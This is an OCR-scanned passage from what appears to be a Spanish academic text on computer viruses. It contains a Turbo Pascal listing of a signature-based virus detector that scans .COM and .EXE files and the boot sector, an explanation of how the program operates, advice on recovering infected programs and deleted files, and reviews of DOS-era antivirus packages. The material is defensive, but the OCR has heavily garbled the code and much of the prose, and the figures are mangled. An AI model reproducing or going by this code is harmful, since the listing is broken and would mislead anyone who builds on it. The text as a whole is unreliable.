VALEZ[X), RESULT,R);
IF R< >0 THEN RESULT:» LEZX])
RESULT; =RESULT*16;
INC(R:
VAL@Z{X],S.Ryi
{F R< >0 THEN S:=L{Z[X));
AESULT:= RESULT+S;
VIRUSNBVIR] FIRMA (X DIV 2):=CHRIRESULT);
END;
END;

(
{

PROCEDURE CONTAMINADOS;
VAR

CMP 1 BYTE:

BEGIN

QOTOXY(1,25);
WRITE( OPRIMA [ENTER] PARA CONTINUAR);
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LISTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA}

GOTOXY(50.25);
WRITE(#T);
READLN;

ASSIGN(NOMS, VIRUS 0ATY;
m(m BUFFER_NOMS);
RESET|
WHILE NOT EOF(‘NOI‘S) Do
BEGIN

CLRSCR;

CMP:=0;

REPEAT

UNTIL (cuP-zo) OR EOF(NOMS);
QOTOXY(20,2%);
WHITE('OPRIMA CUALOQUIER TECLA PARA CONTINUARY;
REPEAT UNTIL KEYPRESSED;
END;
CLOSE(NOMS);
END;

N
{

PROCEDURS PRCSENTACION;

BEQIN

TEXTBACKGROUND(RED):

CUADRO(1,1,80,3.1);

GOTOXY(1I8.;WRITEIDETECTOR DE VIRUS RO
TEXTBACKOROUND{BLACK):

CUADRO(26,7,00,24,1);

Y
4

WF\ITE('!SLAS LOPEZ ALBERTO A.): . - : o .
GOTOXY(55.5); o S Sl
WRITE{VIRUS CONOCIDOS 1); - e
END;

{. iy
{ -

PROCEDURE CAROA_VIRUS;
BEGIN . :
NBVIR:«0; B
ASSIGN{DATAANTIDATY; N o
RESET(DATA);

iF JORESULT < >0 THEN FIN;
WHILE ROT EOF({DATA) DO
BEGIN

READLN{DATAX);
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LISTADO DEL PROGRAMA DETECTOR DE VIRUS {CONTINUA)

IF COPY(X,1,1)="}' THEN
BEGIK

BVIR);
WITH WRUS{NBVIR] s

NOHBRE'-CX)PV“E LENQTH{)-1);
READLN(DATA,TMA);
FIRMAHEX: = TMP;

ASCUITMEY;
LONGITUD: = LENGTH{TMP) DV 2;
READLN(DATA EXT);
END;
END;
END;
CLOSE(DATA);
ASSIGNINOMS, VIRUS.DAT),
TEXTBACKGROLND(BLACK);
SETTEXTBUF (NOMS, BUFFER_NOMS);
REWRITE(NOMS);
QOTOXY(T2.5);
WRITE(NBVIR);
END;

{
{
PROCEDURE ESUD (VAR CSUBINTECER);
VAR

K {INTEGER;

BEQIN
C8UB:=0;

Km0,

WHILE K<=CSU8 DO

BEQIN
FINDFIRST(DIRECTORIO +'*." DIRECTORY.ARCHINFO};
WHILE (DOSERROR=0) DO

BEGIN
WITH ARCHINFO DO
BEGIN

C8UD:=CSUB+1;
IF (N.AME-' ) OR (NAME="..") THEN CSUB: = CSUB-1

IF (A'I'I'R- DIRECTORY) THEN SD[CSUB): = DIRECTORIO + NAME ELSE CSUB:~CSUBY;

FINDNB(TIARCHINFO);
END;
KmK+1;
I¥ K< =CSUB THEN DIRECTORIO: =SD{K] + V3
END;
END;
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LUSTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA)

t

{

PROCEDURE LEXE;

BEQIN

DOSERROR:=0;

OK: wFALSE;

FEXE;mFALSE;
FINDFIRST(DIRECTORIO + ' EXE” ANYFILE ARCHINFO);
END;

¢
{

PROCEDURE LEE_SECTOR;

SEQ(SECTORO[1)):

OFS(SECTORO1}):

$0201;

$0001;

DH : = #00;

CASE UPCASE(DISCO) OF
A DL t= $00;

£HD;
INTR($ 13.REGISTHO};
ERD;

{
PROCEDURE SECTOR_CERO;
YAR

LJ < INTEGER;
DIFERENTETA  : BOOLEAN;

BEQIN
TA:=FALBE;
QOTOXY 83,10);
WRITE BOCT BECTOR:);
LEE_SECTOR;
FOR =1 TO NBVIR DQ
FORJ:=1 7O 51200
W (VIRUS[I].FIRMA[1]= BECTORG[S]) THEN
BEQIN
. =0;
DiFERENTE:»FALSE;
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UISTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA}

WHILE NOY DIFERENTE AND (Il <VIRUS{{) LONGITUD-%) AND (i +J<=512)) DO
BEGIN

INC(i:
IF VIRUS(T)FIRMA[Il+ 1] < > BECTORG[J + 1] THEN DIF ERENTE: = TRUE;
ND;

d
IF NOT DIFERENTE AND (1 +J<m512) THEN
BEQIN
ARCHINFO.NAME = "Sector 0';
ALERTAQTA);
BOTOXY(84,12);
WRITE(INFECTADOY;

END

ELSE

BEGIN
QOTOXY(67.13);
WRITE( SANOY.

END;

END;
END:

g
1

PROCEDURE EXAMINA;
VAR

WS INTEGER;
™o :

BEGIN
REPEAT

\F PTFm0 THEN

BEGIN
PTFi=1024;
BLOCKREAD({FIC BUF 1024, RES):

END

ELSE

BEGIN
MOVE(BUF(1024], BUF(1,50);
BLOCKREAD(FIC,BUF (51,1024,RES);
PTF:=PTF41024;

END;

BUTOXY 8, 16}

TEXTBACKGROUND(RED);

IF (PTF > ARCHINFO.SIZEy THEN WRITE(ARCHINFO.SIZE:7} ELSE WRITE(PTF:7);

TEXTBACKGROUND(BLACIQ;

GOTOXY{38,16);

WRITE(BYTESY;

FOR ;=1 TONBVIRDO -
1F VIRUS(T).EXT = EXTENSION THEN

FOR J:=1TO 1024 DO




LISTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUAY

IF (VIRUSJ1).FIRMALY | = BUF(J)) THEN
BEGIN
W=D,
DIFERENTE: = FALSE;
WHILE NOT DIFERENTE AND {1 <VIRUS[T.LONGITUD-1) AND ({ll + J)< =1024) DO
BEQIN

INC(;

¥ V\RL.JS[I}HRMA[IN 1] < >BUF[J+1) THEN DIFERENTE: » TRUE;
END;
IF NOT DIFERENTE AND (I +J < =1024) THEM ALERTADTA);

END;
¥ KEYPRESSED THEN IF READKEY = #27 THEN ESCAPE- = TRUE;
UNTIL EOF(FIC) OR (JOREBULT <20} OR EBCAPE;

fl
v ¥

PROCEDURE ANALIZA;
BEGIN
ASSIGN(FIC,DIRECTORIO + ARCHINFO.NAME);
RESET(FIC,1);
GOTOXY(28,12);
WRITE| ;

QOTOXY(28,12);

WINTCLNARCHINF O NAME);

TEXTBACKQROUND(REDY; .
QOTOXYR7,10): - s
WRITE, :

GOTOXY(29.14);

WRITEARCHINFO.SIZE:7);

GOTOXY (28,18);

WAITEFIC_VIS:3);

GOTOXY(1,25);

TEXTBACKGAOUND(BLUE);

WRITE{OPRIMA ESCAPE PARA TERMINARY;

EXTENSION: = ARCHINFO.NAME;

DOELETE(EXTENSION, 1, LENGTH(EXTENSION)-9);

INC(FIC_VIS);

PTF:=

EXAMINA;

CLOSE(FIC);

FINDNEXTARCHINFO);

IF {DOSERAOR < >0) AND OK AND FEXE THEN LEXE;
END;
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LISTADQ DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA)

1

{

PROCEDURE RASTREA;
VAR

CSUB  : INTEGER:

A : SEARCHREC;

BEGIN

CLRSCR;

PRESENTACION;
QOTOXY(T25%

WRITE(NEVIR);
TEXTBACKGROUND(BLUE);
GUADRQO(1,7,25,24.1);
CUADROS1,7,8024,1);
TEXTCOLORWHITE):
TEXTBACKGROUND(BLUE);
GOTOXY(3,8);

WRITE(DISCO 7

QOTOXY(,10);
WRITE(DIRECTORIO EXAMINADO };
GOTOXY(3,12);
WRITE(ARCHIVO EXAMINADO 3;
GOTOXY(,14);
WRITE(LONGTUD 7;
aToXY(3,16);
WRITE(VERIFICADOS );
GOTOXY,18);
WRITECARCHNOS VERIFICADOS %;
FIC_VIS:~0,

VIRUS_DEC:~0;

GOTOXYR7.8);

WRITE( )%

QOTOXY(27.8);

DISCO: =READKEY;

GOTOXY(7 8);

WRITE(DISCO);

aOTOXY(27,10);

WRITEC %

GOTOXYRT,10);

READLN(DIRECTORION;

IF NOT (COPY(DIRECTORIO,LENGTH (DIRECTORIO), 1) = V)
AND (LENGTH(DIRECTORIO)>0)
THEN DIRECTORIO:=DIREGTORIGHY;

DIRECTORIO: »DISCO+ "\'+DIREGTORIO;
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LISTADO DEL PROGRAMA DETECTOR DE VIRUB (CONTINUA}

ESUB(CSUB);

SECTOR_CERO;

REPEAT
FINDFIRST(DIRECTORIO+'* COM . ANYF ILE ARCHINFQ);
IF DOSERAOR< >0 THEN LEXE:
WHILE (DOSERAOR~0) AND NOT ESCARE DO ANALZA.
Qi=0+1;
DIRECTORIO: =SD[Q} + \:
FEXE:=TRUE;

UNTIL Q>=CSUD;

CLOSE(NOMS);

IF VIRUS_DEC >0 THEN CONTAMINADQS,

GOTOXY(1,25):

WRITE( OPRIMA [ENTER] PARA CONTINUARY;

GOTOXY(60.25):

WRITE(#7);

READLN,

CLRSCR;

END;

{
PROCEDURE LISTADD;
VAR

1JNM INTEQER,
T 1 CHAR;

BEQIN

Ni=1%;

M-=5:

REPEAT
TEXTBACKGROUND(BLUE);
GOTOXY(1,D):

FOR|:=1 TO 80 DOWRITE(' );

GOTOXY®.N):

WRITE(NOMBRE):

GOTOXY({35,7);

WRITE(FIRMAY;

TEXTBACKGROUND(BLACK);

CUADRO(1,8,23,24.4);

CUADRO(24,8,00,24,1};

J:m0;

FORE=NTO M DO

BEGIN
TEXTRACKGROUND(BLACK):
NENESH
QOTOXY(25+ ()
WRITE(VIRUS(I). NOMBRE);
GOTOXYR.6+(J*3) +1};
WRITE(VIRUS(.EXT)

END;
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LISTADO DEL PROGRAMA BETECTOR DE VIRUS (CONTINUA)

WINDOW(25,7,75,23);
Ji=0;
FOR ;=N TO M DO
BEGIN
TEXTBACKGROUNDIRED):
dimdt1;
BQOTOXY{1.J*3):
WRITEMARUS(I]. FIRMAHEX);
END;
WINDOW(1,1,80.25);
GOTOXY{1,2%);
WRITE([R]. RETROCEDER, [A]-AVANZAR, [Q}-BALIRY;
T:=READKEY:
CASE UPCASE(T) OF
‘A't BEGIN
Mi=M+5;
\F M>NBVIRTHEN
BEQIN
M:=NEVIR;
N (NBVIR DIV 52541
END

ELSE N:=M-4;
END;
'R BEGIN
N: ]
#F N<i THEN N;=1;
Mi=N+4;
ENRD;
END;
UNTIL UPCASE(T)='Q";
CLASCR;

END;

1.
i

PROCEDURE CAPTURA;
VAR

F + TEXT;

(%] +INTEQER;
ABC STRING;

BEGIN
TEXTBAGKGROUNDBLUB);
GOTOXY(1.7);

FOR Lim1 TO 80 DO WRITE(
GOTOKY(8,7);
WRITE(NOMBRE?;
GOYOXY(35,7);

WRITE(F | R MAY;
TEXTBACKGROUND{BLACK);
CUADRO{1.8,23.24,1);

Y
U
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USTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA)

CUADRO(24,8.80.24,1};
GOTOXY(.10};

WFHTE('ARCHNO DE ATAQUE:):
QOTOXYR.15):
WRITECFIRMA.}:
TEXTMOKGF\OUND(REDI

%
GOTOXY(26.10); READLH(A);
aoTOXY@s 12

WINDOW(25,15,78.17);

CLRSCR;

READLN(C);

WINDOW({1,1,00.25);

VIRUS[NBVIR + 1] NOMBRE: = A:

VIRUS[NBVIA + 1) EXT:=8;

VIRUS|NBVIA + 1] FIRMAHEX: wC;

ASSIGN{F,"ANTLDATY);

REWRITE(R);

FOR I:=1 TO NBVIR+1 DO

BEGIN
WRITELN(F, "+ VIRUS(T;. NOMBRE);
WRITELN(F VIRUS{TL.FIRMAHEX);
WRITELN(F VIHUS{i) EXT};

END;

CLOSE(F);

NBVIR «NBYIR+1;

END;

1 g
t Sl

BEGIN

REPEAT
TEXTBACKGROUND(BLUE):
CLRSCR;

Ciut;

PRESENTACION;
VIRUS;
cu.mnon 78024

OPCION{1 "
OPCION| ' LISTARFIRMAS *;
OPCION ' AGREOAR NUEVA FIRMA *;

OPCION[4]:
MENU(28,10,4,3,1, OPCION C).
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LISTADO DEL PROGRAIMA DETECTOR DE VIRUS (CONTINUAY

CASE C OF
1:RASTREA;
ZLISTADO;
3:CAPTURA;

END

UNTILCw4;

END.

3.3.3. Oparacién del programa.

. La operacién del programa es muy simple: al empezar su ejecucién carga en
memoria (en la variable VIRUS), todas las firmas encontradas en el archivo
ANTIDAT, por {o que se tardard un momento para presentar el menu del sistema
{figura 3-2).

[ DETEGCTOR DE VIRUSE g9 l

lmmzu:mm J l‘mm«m::i J

g Y.1/} 71.; W—
USTAR FIRAY
AILREGAA NUEVAD FRALS
R

IGURA 3-2. MENY PAIRCIPAL DEL SESTEMA
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En esta pantalla, en la parte superior, se presentan tres recuadros, uno de ellos
se emplea para indicar la cantidad de firmas contenidas en el archivo ANTLDAT,
que @s el total de virus que reconoce el programa. En Ia parte central se presenta
un menu con cuatro opciones, donde las tres primeras representan, cada una, un
médulo del programa. El funcionamiento de cada uno de los médulos se explicaa
continuacién;

* Rastreo.
Al activar esta opcidn, se ejecuta ef procedimiento Rastreo, el cual comienza
por inicializar las variables pertinentes y muestra una pantalla como la de la
figura 3-3.

DETECTOA OE VIRUS @a l

rmmmmolx Jr VS CONOCID08 ;37 J

Deco =]
BOTT BECTOR:
ARCHYO EXAMHADD ARCHAD EXT
Lonenu T e
VERFICADOR /2 ovtes
ARCHVON VER¥ CADOS foms ]

FIGURA 3] PANTALLA DE RASTHEG (MONTTOREQ

En esta pantalla, se pregunta al usuario que disco serd examinado y
posteriorments se pide el nombre del directorio cue se quiere exarinar, el
cual de dejarse en blanco, se interpretard por el programa que se quiere
rastrear en todo el disco, incluyendo el sector de carga (sector cero). Si se
indic6 un subdirectorio en particular, &l rastreo se llevara a cabo también en
todos sus subdirectorios que contengan archivos ejecutables,

El monitoreo del rastreo se presenta al usuario desplegando en ta pantalla,
la informacién de que subdirectorio se esta examinando, qué archivo,
cuantos bytes se han examinado del total que componen al archivo y
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culntos archivos se han examinado. El rastreo se puede detener en
cualquier momento oprimisndo la tecla ESC.

Al finalizar, si no se reconocid la firma de ningdn virus, el procedimiento
regresa el control al mend principal. Para el caso de haberse reconocido
algln virus, se presentar4 al usuario un mensae informando qué virus se
datectd y en qué archivo se encontré.

« Listado de firmas.
Con esta opcidn se activa el procedimiento "Listado”, el cual tienen por
unico objeto el presentar un listado de los virus que reconoce el programa,
sefatando sus nombres y sus firmas en una pantalla como la figura 3-4, en
bloques de cinco registros.

f DETEGTOR O0OE VIAUS g0 ]

rMWWOA j r VRIS CONGCO0 - 37 I
NOUBRE FIFMA
BRAN M2
80
AT FOB/ 2801004 1 i 0BT 4D 1 G5
cou

170

313431 24484 TIFL

1704 17048 D01BCH0
oon #3143 120000138

1Y
ooM BN IANNZHBACT I

TF-Tem Rkt L |

FRIURA 3-4. USTADO O VIRUS Y 5US PR3

En la parte inferior de esta pantalla, se indican las funciones de tres teclas
de comandos, las cuales son:

A - Avanzar. Listar los siguientes cinco registros.

R - Retroceder. Listar los cinco registros anteriores.

S - Salir. Regresar al menu pringipal.
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« Adicionar Firma.
Esta opcidn permite al usuario agregar firmas para NuUevos virus
dascubiertos, permitiendo al programa actualizarse. Este procedimisnto es
lamado en el programa como “Captura’, y utiiza una pantalla como fa
mostrada en {a figura 3-5.

l DETECTOA ©0OE VIALS g0 ‘

qumuuwmm l [ VIS CONCOGO8 : 37
HOMPAE
AFCIYG D ATAGUE

(Y

1

FIGUAA 36 PANTALLA DE CAPTURA PAFA AGRE OAA HUEVAS FRMAS

La adicién de! registro solamente requiere de tres datos: el nombre del
virus, el cual no debe ser mayor de 20 caracterss; su firma, que es una
cadena de caracteres en numeracion hexadecimal, que puede ser hasta de
80 caractsres, y el tipo de archivos que ataca {.COM o .EXE). Para el caso
de los virus que atacan a ambos tipos de programas, se deberan editar dos
definicicnes, una para cada tipo. Los virus qua atacan al sector de carga
debera escribirseles en este campo los caracteres "S-0".

La informacién debe caplurarse en la secuencia presentada por el
programa que, al llsnar el usuario el ultimo campo y oprimir la tecla Enter,
se adicionara el registro al archivo de firmas ANTI.DAT.
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Conclusién sobre el programa.

Como se menciona anteriormente, el programa sdlo proporciona informacién de
deteccion, pero no preve la eliminacion del virus y la reparacién del archivo
contaminado, esto es debido a que cada virus necesita un tratamiento especial de
acuerdo a su comportamiento, por lo que implica dedicarle un gran estudio a cada
virus, delimitando su accién y la accién inversa que debe emplearse para
restablacer los sistemas. Este programa no pretende rivalizar con los paquetes
antivirus que actualmente se encuentran en el mercado, sino més bien ser un
elemento mas para la educacion de los usuarios en el aspecto de deteccién de
virus.

3.4. Recuperacion de informacién.

Para los casos en que los sistemas de prevencidn y deteccién de virus son
superados, llega a presentarse pérdida de informacién en los sistemas
informéticos. Esta pérdida es, en muchas ocasionses, solamente aparente debido
al manejo de los discos magnéticos que efectda el Sistema Operativo; pero en
otras 8s una pérdida irevertible. Ante esta situacidn, fa recuperacion de
informacién afectada por actividad viral puede efectuarse a través de tres acciones
especfiicas: utilizacion de software especializade, recuperacién de respaldos,
accién directa de los usuarios.

Utilizacién de software especlalizado.

La mayorfa de los paquetes antivirus actuales no sélo previenen la infeccién de
los sistemas, sino que ademads, pueden recuperar o restaurar informacién que
haya sido afectada por actividad viral. Lamentablements, la informacién que
puede restaurar es solamente concerniante a los programas y pardmetros del
sisterna,
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Al examinar un sistema mediante un software antivirus, si éste reconoce
archivos infectados, presenta al usuario la opcidn de reparar al archivo
infectado o eliminario. En caso de reconocer problemas de formateo de disco
duro, o alteracién de los pardmetros det CMOS, FAT o del directorio rafz,
pueden restaurarlos siempre y cuando se haya tenido la precaucién de haber
configurado al paquste para que hiciera un respaido ds sllos.

Una descripcién detallada de los paquetes Anti-Virus actuales se presenta en la
siguients seccién.

Para el caso de recuperacién de archivos, resultan mas eficientes algunos
programas de utilerias como el Northon o el PCSheli, los cuales cuentan con
herramientas especificas para esto, tales como los programas DiskFix,
Undelets, Unformat y el Northon Disk Doctor.

La operacion del software para la recuperacion de informacién es muy sencilla,
ademas que ha demostrado ser muy practica. Los usuarios solamente tisnen
que seguir las instrucciones a través de menus para obtener los resultados
requeridos.

Rachpuraclén de Reapaldos.

La técnica de respaldar informacién es muy efectiva para casos de
contingencias por ataque viral,

Cuando un virus borra archivos, si éstos son parte de un paquets, es mucho
més sencilo reinstalar el paquete de los discos originales, que intentar
recuperar los archivos. Asi, también serd mucho maés sencillo recuperar
archivos de datos de sus respaldos.

El Unico inconveniente de esta técnica es el aspecto de ‘la actualidad de los
datos recuperados. Por ejemplo, si en un computadar se opera un sistema de
contabilidad, en el que los archivos donde se guarda la informacién son
respaldados cada mes; si el computador 8s atacado por un virus, borrando
estos archivos, al recuperar los respaldos se estard rastableciendo la
informacién del mes anterior. Esto es mejor que nada, pero el trabajo que se
efectud durante el nuevo mes tendrd que volver a efectuarse.

Es por esto que debe estudiarse cual es la msjor frecuencia para efectuar los
respaldos, considerando que para un sistema donde se registra mucha
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informacién todos los dfas, deberdn efectuarse respaldos muy frecuentes,
mientras que para otros en los qua su operacidén es muy poca, los respaldos se
efectuardn con mucha manor fracuencia.

Otro punto Interesante en este aspecto es la educacion del usuario, el cual
debe ser consciente de la impertancia de mantener 1a informacion respaldada.
Lamentablemente, en la mayoria de los casos, no se recenace esta importancia
sino hasta que se enfrentan a un problema de pérdida de informacion.

Los respaldos pueden efectuarse a través de muchos programas existentes en
el mercado de softwars, tal como el BACKUP del sistema operativo, el
PCBACKUP o las utilerfas del PCShell, los cuales ademés de ser muy
conocidos, son muy faciles de operar.

Acclén directa de los usuarlos.

En ocasiones el empleo de software especializado es ineficiente para recuperar
cierta informacién o inclusive el usuario no lo tiene disponible, o cuando no se
ha tenido la precaucidén de emplear la técnica de respaldar la informacién de
manera adecuada, el usuario puede intentar efectuar esta recuperacién de
manera dirscta en el computador.

La informacién que puede haberse afectado por un ataque viral es: programas
de usuario, archivos de datos. La recuperacién para cada uno de ellos se
explicara a continuacion.

* Programas de usuario.
Para lograr la recuperacién correcta de las funciones de un programa, es
necesarlo identificar que virus lo atacé, determinando asl fa manera en que
puede efectuarse la accién inversa que lo desinfecte.
Para ejemplificar la recuperacién de un programa infectado por un virus de
Insercién, considere el siguiente caso:



Se tiene un programa original, como se muestra en la figura 3.6.a, el
cual es atacado por un virus de insercién. El virus lo modifica
quadando su estructura como lo muestra la figura 36.b.

FIGURA 3-6-a PROGRAMA ORIGINAL ANTES DE SER INFECTADO

PROGRAMA ORIGINAL

P CUERPO PAINCIPAL IMP
LSALTQI PROGRAMA ORIGINAL DELVIRUS ]:SALTO)

} |

FIQURA 2.8.b. ATAGUE DE UN VIRUS DE SOBREESCRITURA

Como puede observarse, la infeccién del programa inserta una
instruccién al comienzo del programa, para qus la ajecucidn de éste
salte al final de su c&digo, en donde se ha anadido e! virus, Al final del
cédigo virus anadido se encuentra ofra instruccidn de satto, que
apunta hacia el comienzo del programa original.

Conociendo este comportamiento del virus, se puede recuperar el
funcionamiento dal programa original simplemente, modificando la
primera instruccidn de salto para que ésta sefale al comienzo del
programa original, como se muestra en la figura 3.7.



JMP
LSALTO) ; PROGAAMA DRIGINAL ELVIAUS [SALTO)

CUERPO PRINCIPAL l JMP

FiN DEL PROGRAUA
{EL CODIGO OUE LE PAESEDE M BE EJECUTAY

FIGUAA 3.7, "REPARACION' DE UN ARCHIVO INFECTADO

Esto recuperaria la actividad normal del programa y evitaria que el cédigo
viral fuera ejecutado, pero el archivo aun tendrfa un aumento de n bytas en
su tamaito, que de no ser muy grands, podria dejarse ahf. La sliminacién de!
cédigo viral puede efectuarse faciimente ya que se conoce en donde
comienza el virus, debido a la direccién proporcionada por la primera
instruccidn de salto def archivo infectado.’

* Archivos de datos.

La recuperacién de los archivos de datos es més complicada y en fa mayorfa
de las ocasiones es incompleta. Recordando lo estudiado en fa seccién 2.3,
fa manera en que se almacena {a informacion en el disco es a través de la
FAT y el Directorio Raiz {Root Directory). Cuando un archivo es borrado, el
Sistama Operativo modifica estas dos éreas.

La FAT mapea todo el espacio del disco, indicando cuales cluster componen
a cada archivo y en que orden. €l Directorio Ralz registra los nombres de los
archivos y en cual cluster comienzan. Asl, para borrar un archivo, el sistema
operativo pone un "0" en todos los cluster que componen al archivo {para
marcarios como "disponibles"), y sustituye el cédigo E5h en lugar del primer
caracter del nombre del archivo. Pero la informacién que contiene ese
archivo aln permanece ahi.
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Después de borrar un archivo, sf se escribe en al disco, se sobreescribird en
los cluster que se marcaron como “disponibles” del archivo borrado,
perdiéndose toda oportunidad de recuperar la informacion.
Para recuperar a un archive eliminado, antes de que el espacio en donde
esta su informacién sea reutiizado, debe editarse la FAT y el Directorio Ralz.
Esto puede efectuarse mediante paquetes como el Northon Utilities, el
PCShall o con el programa DEBUG del Sistema Operativo.
La recuperacién del archivo debe comenzar por la adicion del Directorio
Raiz, madificando el primer caracter del nombre, el cual contiene el codigo
ES, y sustituirlo por el primer caracter que tenia el archivo, Si el usuario no
recuerda que caracter debe ponerse, puede escribir cualquiera y
posteriormente, una vez recuperado el archivo, podra renombrarlo si asl lo
requiers. En el Directorio Rafz, se puede obtenar los datos de en cual cluster
comienza el archivo, y su tamano en bytes. El tamano de! archivo nos indica
cuantos cluster ocupa y conociende el cluster de comienzo del archivo, se
busca este cluster en la FAT, el cual se encontrard en cero y muy
probablemente, los cluster siguientes también lo estaran. Si el total de cluster
consecutivos en cero es igual o mayor a la cantidad de clusters del archivo,
- entonces ee tandré la seguwidad de que todos ellos formaban parte del
archivo y para restablecerlos, solamente se necesita sustituir los ceros por
Jos valores adecuados. El cluster de comienzo del archivo debera senalar al
cluster que le preceds, éste a su vez al siguiente, asi hasta el Gltimo, el cual
debe marcarse como "fin de archivo".
Esta recuperacién no suele ser tan facil, ya que los clusters que formaban a
un archivo de datos, en la mayoria de los casos, no son continuos, La
recuperacién de los archivos de datos de cluster no continuos requfere de
un conocimiento profundo de la estructura que ftiene el archivo en
recuperacién. Conociando su estructura, el usuario puede examinar los
sectores que componen a {os cluster senalados en cero y establecer cuales
son parte del archivo y que orden deben tener. Algunas estructuras de
archivos (tales como los manejados en Paradox), marcan cada cluster de un
archivo con un numero consecutivo. Esto facilita la labor de rescate.
Una vez mas se pone de manifiesto ia relevancia de la educacién de los
usuarios (en este caso en terrenos técnicos), que no sélo proporciona mayor
seguridad, sino ademés propicia soluciones a problemas muy complicados.
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3.5. Uso de programas antivirus

Actualmente existe una gran variedad de paqustes antivirus de funcionamientos
muy semejantes, pero de caracterfsticas distintas. El poder contar con software
antiviral especializado es, en términos generales, una buena medida de seguridad,
siempre y cuando no se les deje a ellos toda la responsabilidad y se les utilice
como una herramienta que ayude a un plan de seguridad integral.

A continuacién se presentard un andlisis de los principales paquetes antivirus
existentes en el mercado, observando algunas de sus caracteristicas de trabajo.

Nombre Descripcion

Central |Este programa comprende una variedad de técnicas
Polnt Antl- | para la deteccién de virus y opera en ssgundo plano

Virus. |para alertar sobre cualquier actividad sospechosa que

pueda indicar la existencia de un virus. El programa
busca infecciones en los discos duros y en la mayor
parte de los casos elimina los virus y repara los dafios.
CPAV est4 activado por menis, es facil do instalar, y
se. opera adecuadamente desde el teclado. La
mstalation del programa crea un directorfo CPAV,
copia los archivos de programa y modifica el
CONFIG.SYS o el AUTOEXEC.BAT para que cargue
automéaticamente uno de los dos supervisores
residentes en memoria, VSAFE o VWATCH, y llama a
BOOTSAFE, un servicio que persigue a los virus en el
sector de arranque del sistema, !a tabla de particiones
y la tabla de aslgnadién de archivos. Si no se quiere
correr el VSAFE de 24K en segundo plano, puede
hacer una Instalacién manual y corre al CPAV como
una aplicacién o bien instalar el VWATCH de BK.




Nombre

Descripcion

VSAFE detiene las funciones de! teclado cuando
detecta alguna actividad sospechosa, tal como
formatos extranos de disco o cambios en los archivos
ejecutables, y espera a que vuelva a arrancar,
continGe, o cancele; VWATCH dstiene al sistema
cuando detecta un comportamiento extrano. Si puede
pagar el coslo en memoria, notard que la operacién de
VSAFE &s menos molesta.

Cuando se instala, CPAV revisa la memoria del sistema
y archivos buscando virus y también revisa la tabla de
locacién de archivos y el sector de carga del disco
duro. El programa revisa, en promedio, 20 archivos por
segundo y hace sonar una alarma cuando encusntra
un virus, mostrando una caja de didlogo con
sugerencias en las que se recomienda que el CPAV
elimine al virus del archivo o &rea infectada de su disco
duro y que rearranque el sistema (reset), para
asagurarse que el virus ha sido eliminado de la
msmorta.

Cuando se instala CPAV crea un disco de emergencia
el cual es un disce bootable en el cual se copia una
imagen de los sectores claves del disco duro, asi
como una de ia CMOS, todo estos junto con una copia
de su servicio exclusivo BOOTSAFE (para proteger el
sector de arranque del disco). Si algin disco destruye
su disco duro o la baterfa del CMOS se gasta, puede
usarse este disco de emergencia para rearrancar
desde el drive A: y posteriormente reinstaurar la
informacién.,

CPAV protege a los archivos creande y almacenando
las sumas de verificacién de cada uno de ellos y alerta
sobre cualquier cambio. Puede actualizar estas sumas
si se le indica que algin archivo debe ser cambiado.
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Nombre

Descripclén

Una vez asegurada la limpieza del sistema, el CPAV
vacuna a los archivos contra infeccién viral. Esto
implica afiadir poco menos de 1K de cdédigo de
proteccién a los archivos con extension .EXE, .COM,
.SYS y .OVL. Una vez vacunado un archivo, éste le
notificaréd cuando experimente un cambio y pueds
curarse a s{ mismo, volviendo a su estado original.
Después de la inmunizacién, algunos programas
retornan un mensaje de error: “Packed file is corrupt"
{e! archivo comprimido estd corrompido) cuando se
corren, por esto CPAV notifica por adelantado que
algunos archivos no deben vacunarse.

El CPAV es acompafado por una excelente
documentacién que explica las funciones de los virus
presentando sus origenes y sintomas.

La versién 1.1 de CPAV afiade archivos para el mangjo
de [a memoria extendida y expandida. VSAFE y
VWATCH.

Certus.

La versién 2.1 de Cerlus ofrece muchos niveles de
seguridad, permitiendo repetir una instalacion y
copiarla con facilidad a otras PCs. Para los usuarios
individuales que quieran un programa maés bésico que
pueda reparar archivos, Certus vende un programa
para deteccidn y eliminacién de virus llamado Novi.

El detector de virus residente en memoria se carga en
3K de RAM, y puede buscar mas de 300 codigos de
virus individuales en memoria alta y también en RAM
convancional,
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Nombre

Descripclén

Durante [a instalacion, Cartus busca infecciones, pero
la cura puede ser tan mortifera como el virus si No se
hizo un resguardo y un catalogo de sus programas.
Certus "mata* al archivo infectado o a la seccién del
disco duro sn la gue reside el virus, a menos gue
ignore su advertencia o anada el archivo infectado a
una lista "aprobada" de programas. E! Novi elimina los
virus y repara los archivos infectados, algo mas
semejante a la microcirugia que a la amputacién.
Certus le da a una PC una armadura de software tan
gruesa tal que los usuarios no pueden borrar los
archivos o formatear los discos duros por accidente.
Mediante 8l uso de contrasenas un administrador de
sistamas puede asignarle un nive! de acceso distinto a
la PC da cada usuario. En el nivel de mas restriccion,
Certus no corréra software nuevo o que se haya
madificado.

El programa mantiene un registro de actividad y una
lista de auditorfa de las escrituras a disco que puedan
ser ttiles para evaluar el uso del software. El programa
le sigue la pista a las actividades sospechosas y hace
un diagndéstico de los problemas de disco dure.

Certus también Io protege contra accidentes y
fecharlas, tales como las baterfas de CMOS gastadas y
los novatos que entran en un directario 'de servicios y
prueban herramientas con las que no estan
tamiliarizados. El procedimiento de instalacidn crea un
disco de emergencia que es bootable y que en caso
de un ataque viral debe arrancarse el sistema con este
disco en el drive A, con lo que se reinstaura la
configuracién de CMOS, la tabla de particidn y los
archivos de configuracién del disco duro.
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Nombre

Descripcién

Mace
Vaccine.

Mace Vaccine no reconoce a ninglin virus por su
nombre. Una vez que se instala, detecta si un virus o
un seudo virus ha infectado un programa y cambiado
su tamafo. También protege los sectores criticos, los
archivos de sistema, COMMAND.COM vy los intentos
de escritura que no se realicen a través ds! DOS.

El programa tiense dos componentes: Survey
{Explorador) y Vaccine (Vacuna). Vaccine es un TSRde
6K que trabaja en tres niveles. Para trabajar en el tercer
nivel necesita al Survey, que crea un archivo maestro
realizando el calculo de una suma de verificacion CRC
de todos los archivos ejecutables en el disco
seleccionado, basado en su tamafio. Luego Mace
Vaccine examinard la caracterizacion de cada
programa antes de ejecutarlo. Si hay un cambio en el
programa lo notificara.

Mace Vaccine no 8s una vacuna, sing mas bien un
